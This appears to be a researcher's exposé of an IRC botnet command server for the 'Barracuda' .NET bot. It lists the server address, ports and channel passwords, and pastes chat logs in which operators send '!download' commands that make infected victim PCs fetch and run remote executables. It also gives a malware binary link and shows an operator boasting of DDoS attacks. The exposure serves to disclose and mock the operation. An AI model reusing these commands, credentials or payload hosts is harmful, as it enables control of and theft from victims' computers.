chat.barracudasec.com (Barracuda ircbotnet hosted by Luxembourg Luxembourg Root Sa)

Resolved chat.barracudasec.com to 94.242.204.181

Server: chat.barracudasec.com
Ports: 1337,4667 (bots connect on 4667)

Channel: #xxploasion
Channel passoword: Rebels2012

Channel: #hflove
Channel passoword: inspiron
Connects using the no-ip hflove.no-ip.org

Channel: #gavin0hanson
Channel password: hanson911

 Channel          Users   Topic
 #xxploasion      4       [+sntu]
 #hflove          45      [+s]
 #gavin0hanson    53      [+sntu] 

This irc server is similar to cmjc.whhcd.info in that is it is a shared server where many different skiides can host their irc nets.
This one is hosted exclusively for the owners of the barracuda .net ircbot by the coder of the bot.
This can be useful as you can pull the coder into the channel when all of your bots die.

<xxploasion> i had 50 somthing

<xxploasion> but then the dude i bought them from said he executed around 170

<xxploasion> and on mirc, before i actually join #xxploasion. it says that there are like 170 connections 

<xxploasion> but only like 52 people on

<Tropical> O

<Tropical> Yeah those were other users

<xxploasion> so what happen to the 52

<Tropical> running a quick test

<Tropical> hold on

<Tropical> thats me

<Tropical> brb

<xxploasion> ok

<Tropical1> Found the issue

<Tropical1> You still got your bots, don't worry, they'll come back after a reboot

<xxploasion> after a reboot of what?

<Tropical1> !message hello world

<xxploasion> my stuff or their cpu?

<Tropical1> their computer

<Tropical1> Lol

<Tropical1> Their CPU

<xxploasion> ohh ok cool

<xxploasion> what is the issue?

<xxploasion> ohh and if i don't have a miner that has mutex. should i just run the botkiller every time so that i don't double down on the bots?

<xxploasion> sorry so i don't double down on the miners

<xxploasion> ohh and if i don't have a miner that has mutex. should i just run the botkiller every time so that i don't double down on the bots?

<Tropical> !message hello world

<COLTON-PC-13030>  Message Sent! Body:hello Title:world

<Tropical> Hey

<Tropical> Testing something again

<Tropical> Lol

<xxploasion> ight

<Tropical1> 0_o

<Tropical1> stable

<xxploasion> are you sure?

<Tropical> yeah completely

<Tropical> The version I'm working on

<Tropical> free update for everyone

<xxploasion> do i have to do anything to get it? or is it updated automatically

<Tropical> BTW that bot only listens to me

<Tropical> I'll send you a bin

<Tropical> !kill

<Tropical> Ty

<xxploasion> wati huh?  and do i have to send that to my bots now?

<Tropical> Nah, just spread the new one

<Tropical> your old bots will come back btw

<xxploasion> ok cool

<xxploasion> what is the new bin

<Tropical> hxxp://dl.dropbox.com/u/31424042/xxploasion.exe

All your bots will probably die quite often, as barracuda is the latest piece of .net malware to come out of hackforums. It surpasses the usual .net creations in terribleness by requiring a .net version higher than the standard 2.0 to run.

While googling the domain out of curiosity, I found a deleted pastebin post. After recovering it through google cache, I discovered that it was an incomplete ircd config for the server. I’ve taken the liberty of re-uploading it here.

Hosting infos: http://whois.domaintools.com/94.242.204.181
 

Edit: lol

* [JOHN-PC]91498 sets mode +q #gavin0hanson [JOHN-PC]91498
<[JOHN-PC]91498> !download hxxp://dl.dropbox.com/u/31424045/1.exe
<Videoing> !download hxxp://shotrush.com/uploads/1955670914.1349958278.exe saveas.exe
<[HP76841267925]79802> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<[USER-PC]98006> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<[HOLLY-HP]13039> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<MARIO-PC-92472>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:saveas.exe
<[OWNER-386D7B11D]5218>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:saveas.exe
<[THOMAS-PC]67048> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<[USER1234]78007>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:saveas.exe
* [JOHN-PC]91498 (Tropical@Tropical.fbi) has left #gavin0hanson
* Tropical gives channel operator status to Tropical
* Tropical sets mode +q #gavin0hanson Tropical
<Tropical> Gavin speak on skype
* Tropical gives channel operator status to Tropical
* Tropical sets mode +q #gavin0hanson Tropical
<Tropical> All activity is logged.
<Videoing> !download hxxp://shotrush.com/uploads/1955670914.1349958278.exe runas.exe
<[HP76841267925]79802> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<[HOLLY-HP]13039> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<MARIO-PC-92472>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:runas.exe
<[MICHELLE-VAIO]86054>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:runas.exe
<[AWIXAWS16]13781>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:runas.exe
<[KEVIN-PC]55877>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:runas.exe
<[THOMAS-PC]67048> Error Downloading File! Please include hxxp://! Format: !download hxxp://google.com/file.exe saveas.exe
<[OWNER-386D7B11D]5218>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:runas.exe
<USER-PC-1958> Error Downloading File! Please include hxxp:! Format: !download hxxp://google.com/file.exe saveas.exe
<[USER1234]78007>  File Downloaded! URL: hxxp://shotrush.com/uploads/1955670914.1349958278.exe Saved in temp and ran as:runas.exe
<Tropical> All activity in this channel is logged.
<Tropical> This is a setup.
<Tropical> Hey Jorgee
<Tropical> What's up 
<COMPUTER-457-73875> hi :x
<COMPUTER-457-73875> you're the owner of barracuda bot? :d
<Tropical> Who the hell are you
<COMPUTER-457-73875> im just jorge 
<COMPUTER-457-73875> come from exposedbotnets :(
<Tropical> And what the hell are you doing here?
<Tropical> I know where you came from.
<COMPUTER-457-73875> just wanna see how this bot works :D
<Tropical> Well, it's locked to an authhost
<Tropical> So no one can control it
<Tropical> I've been sitting in these channels DDOSING people
<Tropical> the fuck out of them
<Tropical> I know whose a bot and whose not...Your name doesn't fool shit
<COMPUTER-457-73875> hm
<COMPUTER-457-73875> this bot is coded in .NET?
<Tropical> Yes
<Tropical> And the thread was like version 1.0.0.1
<Tropical> Which was bugged
<Tropical> Someone got three users bins
<Tropical> I think two were older versions
<Tropical> PM me on HF if you're there.
<COMPUTER-457-73875> what's your nick?
<Tropical> Tropical Paradise
<COMPUTER-457-73875> ok
<Tropical> hxxp://www.hackforums.net/member.php?action=profile&uid=346600

Edit2: Someone just flooded #gavin0hanson with Athena. It was pretty funny
Before:  #gavin0hanson    44      [+sntu]
During:  #gavin0hanson    156     [+sntu]
After:  #gavin0hanson    17      [+sntukf]

When the bots finally leave:

-Jack830961/#gavin0hanson- fBQ0xXShZOJIPbZNagw7AU7lhDHuZUGS3KQRwLXDc1qrE8UXrgCCyGGaDbJipWpqqFXXvlWAd3uwv5EdCqZEt0qcTzaE5M3oKGXez9WQiSqEA0Et3paoM6K5TXy3bMbh9xB2svtZJSToH1FkKCHxS0xv77JFouJzNJm0w5kpm8gElpmnkJh7MmjhgUwMg1JSy4bCEhygqSLVCEZswMsltzvlMFIrSGWWGM1LrQjH8cJZsaC2UpSk3O45DIihRnao0aqyf1wVAh0rdKvUn5SuRDTwkN9EcMwcIWQD3mlRLdriZzoefoZXpqhjF41LYkIW9EeX7bBpT7KyJfCCqTrubhZ4WjGn1r6lU9uxZSOgEjoOg2hxOP0AnICodaLKu9am6UZqHsNeiLKgAL8SJn90bgSygjEeifEhANa6j0t9NgKZqwdUVbUVL4wI
-Maxim413832/#gavin0hanson- J6bBSseVKhewonRCj6gamdXh2DXBdGPg0ggz5wpyPjEWCpweupp8Q3aB39HngOIc5vAEWMiPDw3HjbuiaYBkncKKRNNrSB97wopEunSZxvaQThhpoa48sQWRtz5CYvmTPwV46oTJEqtS8b1YiJMktzmsVljvpIlvKVb78O1yhX5Z6fuvHJzLkjUSNbkPGq5ItR9UnKhPqVuI1fhxzG3vYux3XYdmbX0LKDC41uv0Do6sjEcFmUdlcEC5xmTvGicTIUR0Xjv8GGYqiudMX0QNSmhO37OWs5qSQa5j8JIhNhi1G67scODbJy8Ql18UInyejQSvQ3Q8wh6xmAkxHuMTai66rc13WLYTl4w1gH2tHunTPHzhGyGpPCzrhdv8L91kzmVGtBEOcAU9T3BEmbTmd61BzyKUAz6vnMD7iJK5juSs3V1jU03flQEV
-Stefan418651/#gavin0hanson- J8rTgpBXxLn0R7Mcfd7AIRgu7NKd5Vr0G426YBYP82TUHdlUJBwfULQ1lYJOdOLAx54urfMyn257Cj5KwPEu853rpb9Hti8M3mCRB5HJ7NAz9AZQsQxae06tPAvLt5Bx7BbeHrlmivF5innFP6atd4On4pf5n59z5WYSVSTRWqsO8abQdc9yFnVUFsQutzVkISIhQPsXxBcJl12r6Y7wpGk5C2HEd5TizR6EAOiXjm3i6iz4EEXJu9kshoJt6E0VFEko3bw62HoRpJ2OLtwcYCMOn29i0QOX5T192oK5sjzGjZ5k7Xtm5kFoTsvQiBdrP4FSAuQ2DwDNinnKe0xjsjJ4dpkjF60mWImMDLRjsZ9Wuv43xzjoT5hI2jmKDPYHYlvv07V9XbRJTR5wMzpM3tLnqiDIwq707N5h5LuTqNmonMJq8rMbUJ
* Georgia576110 (16165@978BF519.FFD1770.C37AD90C.IP) has left #gavin0hanson (Left all channels)
* Elene09923 (14303@59E4FE60.311AA6B4.8D6EA03.IP) has left #gavin0hanson (Left all channels)
<Videoing> thank GOD
* Arley120890 (32745@B658B725.770A7256.EFA3DF07.IP) has left #gavin0hanson (Left all channels)

My logfile is now 800kb larger than it was before